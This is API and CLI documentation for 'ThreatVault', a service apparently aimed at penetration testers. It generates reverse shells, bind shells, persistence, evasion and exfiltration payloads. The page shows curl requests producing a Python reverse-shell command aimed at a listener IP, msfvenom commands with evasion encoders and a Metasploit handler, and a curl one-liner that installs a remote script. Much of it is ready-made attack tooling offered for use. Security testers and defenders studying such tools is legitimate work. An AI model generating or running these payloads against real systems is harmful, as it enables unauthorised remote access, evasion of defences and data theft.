API DOCS
App SecurMe

ThreatVault API

Programmatic access to 3,700+ penetration testing payloads. Generate reverse shells, bind shells, web shells, persistence mechanisms, privilege escalation, lateral movement, Active Directory attacks, container escapes, evasion, exfiltration, C2 frameworks, and more -from any script, CLI tool, or extension.

Base URL https://threatvau.lt/api
CORS enabled No auth required JSON responses Edge-deployed

Response Format

Every endpoint returns a consistent JSON envelope. Check the ok field to determine success or failure.

Success

JSON
{
  "ok": true,
  "data": { ... },
  "meta": { "total": 3749 }
}

Error

JSON
{
  "ok": false,
  "error": {
    "code": "NOT_FOUND",
    "message": "Payload not found: nonexistent-id"
  }
}
GET /api/categories

List all payload categories with human-readable labels, descriptions, and payload counts.

Parameters

No parameters required.

Example Request

cURL
curl https://threatvau.lt/api/categories

Response

200 OK
{
  "ok": true,
  "data": [
    {
      "id": "reverse-shells",
      "label": "Reverse Shells",
      "description": "Connect-back shells for Linux, macOS, and Windows",
      "count": 330
    },
    {
      "id": "bind-shells",
      "label": "Bind Shells",
      "description": "Listener shells that bind to a port on the target",
      "count": 158
    }
  ],
  "meta": { "total": 3749 }
}
GET /api/payloads

List and filter payloads across all categories. Returns compact summaries without template or listener fields. Use /api/payloads/:id for the full definition.

Query Parameters

ParameterTypeDefaultDescription
category string all Filter by category slug
os string all Filter by target OS
search string - Case-insensitive search across name, language, and tags
limit number 50 Results per page (1–200)
offset number 0 Pagination offset

Available Categories

reverse-shells bind-shells file-transfers web-shells tty-upgrades lolbas persistence pivoting enumeration privesc lateral-movement active-directory container-escapes evasion exfiltration c2-frameworks

Available OS Values

all linux windows macos
The msfvenom category is excluded from this endpoint. Use /api/msfvenom instead.

Example Requests

cURL
# Linux reverse shells matching "python"
curl "https://threatvau.lt/api/payloads?category=reverse-shells&os=linux&search=python&limit=5"

# All Windows persistence techniques
curl "https://threatvau.lt/api/payloads?category=persistence&os=windows"

# Search across all categories
curl "https://threatvau.lt/api/payloads?search=netcat"

Response

200 OK
{
  "ok": true,
  "data": [
    {
      "id": "python-1",
      "name": "Python #1",
      "language": "Python",
      "platform": ["linux", "macos", "windows"],
      "tags": ["python", "pty"],
      "category": "reverse-shells"
    }
  ],
  "meta": { "total": 37, "limit": 5, "offset": 0 }
}
GET /api/payloads/:id

Retrieve a single payload by its ID. Returns the full definition including the raw template with placeholders and the listener command.

Path Parameters

ParameterTypeDescription
id REQUIRED string The payload ID (e.g. bash-i, python-1, bind-nc)
Templates contain placeholders: {IP}, {PORT}, {SHELL}. Use /api/generate to render them with your values, or replace them in your own code.

Example Request

cURL
curl https://threatvau.lt/api/payloads/python-1

Response

200 OK
{
  "ok": true,
  "data": {
    "id": "python-1",
    "name": "Python #1",
    "language": "Python",
    "platform": ["linux", "macos", "windows"],
    "template": "python -c 'import socket,subprocess,os;s=socket.socket(...)'",
    "listener": "nc -lvnp {PORT}",
    "tags": ["python", "pty"],
    "category": "reverse-shells"
  }
}
404 Not Found
{
  "ok": false,
  "error": {
    "code": "NOT_FOUND",
    "message": "Payload not found: nonexistent-id"
  }
}
POST /api/generate

Generate a ready-to-use payload by substituting your IP, port, and shell into the template. Optionally apply encoding for evasion.

Request Body (JSON)

FieldTypeDefaultDescription
id REQUIRED string - Payload ID
ip string 10.10.10.10 Listener IP address (IPv4)
port string 4444 Listener port (1–65535)
shell string /bin/sh Shell to spawn
encoding string none Output encoding

Shell Options

/bin/sh /bin/bash /bin/zsh cmd.exe powershell.exe

Encoding Options

none url double-url base64 ps-base64

Example Request

cURL
curl -X POST https://threatvau.lt/api/generate \
  -H "Content-Type: application/json" \
  -d '{"id":"python-1","ip":"10.10.14.5","port":"9001","shell":"/bin/bash"}'

Response

200 OK
{
  "ok": true,
  "data": {
    "id": "python-1",
    "name": "Python #1",
    "command": "python -c 'import socket,subprocess,os;...connect((\"10.10.14.5\",9001))...spawn(\"/bin/bash\")'",
    "listener": "nc -lvnp 9001",
    "options": {
      "ip": "10.10.14.5",
      "port": "9001",
      "shell": "/bin/bash",
      "encoding": "none"
    }
  }
}
cURL
curl -X POST https://threatvau.lt/api/generate \
  -H "Content-Type: application/json" \
  -d '{"id":"python-1","ip":"10.10.14.5","port":"9001","encoding":"base64"}'

The command field in the response will be Base64-encoded. The listener is never encoded.

POST /api/msfvenom

Generate an MSFVenom payload creation command and its corresponding Metasploit multi/handler setup command.

Request Body (JSON)

FieldTypeDefaultDescription
platform string windows Target platform
arch string x64 Architecture: x86 or x64
payload string meterpreter/reverse_tcp Metasploit payload name
format string exe Output file format
encoder string none Encoder for evasion
iterations number 1 Encoding passes (1–50)
staging string staged staged or stageless
ip string 10.10.10.10 LHOST (IPv4)
port string 4444 LPORT (1–65535)

Payloads by Platform

PlatformPayloads
windowsmeterpreter/reverse_tcp meterpreter/reverse_https shell/reverse_tcp shell_reverse_tcp shell/bind_tcp shell_bind_tcp
linuxmeterpreter/reverse_tcp meterpreter_reverse_tcp shell/reverse_tcp shell_reverse_tcp shell/bind_tcp shell_bind_tcp
osxmeterpreter/reverse_tcp shell_reverse_tcp shell_bind_tcp

Formats by Platform

PlatformFormats
windowsexe dll msi hta-psh vba vbs powershell psh-reflection raw
linuxelf raw bash python perl ruby c
osxmacho raw python bash

Encoders

none x86/shikata_ga_nai x86/jmp_call_additive x86/call4_dword_xor x64/xor x64/xor_dynamic cmd/powershell_base64

Example Request

cURL
curl -X POST https://threatvau.lt/api/msfvenom \
  -H "Content-Type: application/json" \
  -d '{
    "platform": "windows",
    "arch": "x64",
    "payload": "meterpreter/reverse_tcp",
    "format": "exe",
    "encoder": "x86/shikata_ga_nai",
    "iterations": 3,
    "ip": "10.10.14.5",
    "port": "443"
  }'

Response

200 OK
{
  "ok": true,
  "data": {
    "command": "msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 -e x86/shikata_ga_nai -i 3 -f exe -o payload.exe",
    "handler": "msfconsole -q -x \"use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 443; exploit\"",
    "config": {
      "platform": "windows",
      "arch": "x64",
      "payload": "meterpreter/reverse_tcp",
      "format": "exe",
      "encoder": "x86/shikata_ga_nai",
      "iterations": 3,
      "staging": "staged"
    }
  }
}

CLI Tool

One script, two modes. Run tv with no arguments for an interactive menu, or pass flags for scriptable one-liners. Auto-copies output to clipboard.

Requirements

bash curl jq

Install

One-liner
curl -sL https://threatvau.lt/tv-interactive.sh -o /usr/local/bin/tv && chmod +x /usr/local/bin/tv
Use sudo if /usr/local/bin requires elevated permissions. Or install to ~/.local/bin/ instead.

Interactive Mode

Run tv with no arguments to launch the interactive menu. Browse categories, search payloads, build MSFVenom commands - no flags to memorize.

Launch
tv

Navigate with numbers, b to go back, q to quit. Set your IP/port/shell in Settings - they persist for the session.

CLI Mode

Pass commands and flags for scripting, piping, and one-liners.

Commands

CommandAliasDescription
categories cats List all categories with payload counts
search <query> s Search payloads across all categories
list <category> ls List payloads in a specific category
get <id> g Show full payload details with raw template
generate <id> gen Generate a ready-to-use payload
msfvenom msf Generate msfvenom command + handler

Options

FlagDescriptionUsed by
-i, --ip Listener IP address generate, msfvenom
-p, --port Listener port generate, msfvenom
-s, --shell Shell path generate
-e, --encoding Output encoding generate
-o, --os Filter by OS search, list
-l, --limit Max results search, list
--platform MSFVenom target platform msfvenom
--arch Architecture (x86/x64) msfvenom
--format Output format msfvenom
--encoder Encoder name msfvenom

Examples

Terminal
# List categories
tv categories

# Search for Python payloads on Linux
tv search python -o linux

# List reverse shells
tv list reverse-shells -o linux -l 10

# View a payload's raw template
tv get bash-i

# Generate a payload (auto-copies to clipboard)
tv generate bash-i -i 10.10.14.5 -p 9001 -s /bin/bash

# Generate with Base64 encoding
tv gen bash-i -i 10.10.14.5 -p 9001 -e base64

# Generate msfvenom command
tv msf -i 10.10.14.5 --platform linux --format elf
Generated commands are automatically copied to your clipboard on macOS (pbcopy) and Linux (xclip).

Error Codes

All errors return the standard envelope with ok: false and an error object containing a machine-readable code and human-readable message.

StatusCodeDescription
400INVALID_JSONPOST body is not valid JSON
400MISSING_FIELDA required field is missing
400INVALID_CATEGORYUnknown category slug
400INVALID_OSUnknown OS value
400INVALID_IPMalformed IPv4 address
400INVALID_PORTPort outside 1–65535
400INVALID_PLATFORMUnknown msfvenom platform
400INVALID_PAYLOADPayload not valid for chosen platform
400INVALID_FORMATFormat not valid for chosen platform
400INVALID_ENCODERUnknown encoder name
400INVALID_STAGINGNot staged or stageless
404NOT_FOUNDPayload ID does not exist
500INTERNAL_ERRORUnhandled server error

Quick Reference

Copy-paste ready commands for common operations.

Common Commands
# List all categories
curl https://threatvau.lt/api/categories

# Search for Python reverse shells on Linux
curl "https://threatvau.lt/api/payloads?category=reverse-shells&os=linux&search=python"

# Get full payload details
curl https://threatvau.lt/api/payloads/bash-i

# Generate a payload with custom IP/port
curl -X POST https://threatvau.lt/api/generate \
  -H "Content-Type: application/json" \
  -d '{"id":"bash-i","ip":"10.10.14.5","port":"9001"}'

# Generate msfvenom command
curl -X POST https://threatvau.lt/api/msfvenom \
  -H "Content-Type: application/json" \
  -d '{"platform":"linux","format":"elf","ip":"10.10.14.5"}'
CORS is enabled for all origins. You can call the API directly from browser JavaScript, Python scripts, Burp Suite extensions, or any HTTP client -no API key needed.

Built by SecurMe - © 2026 Veli-Matti Posa & Richard van Es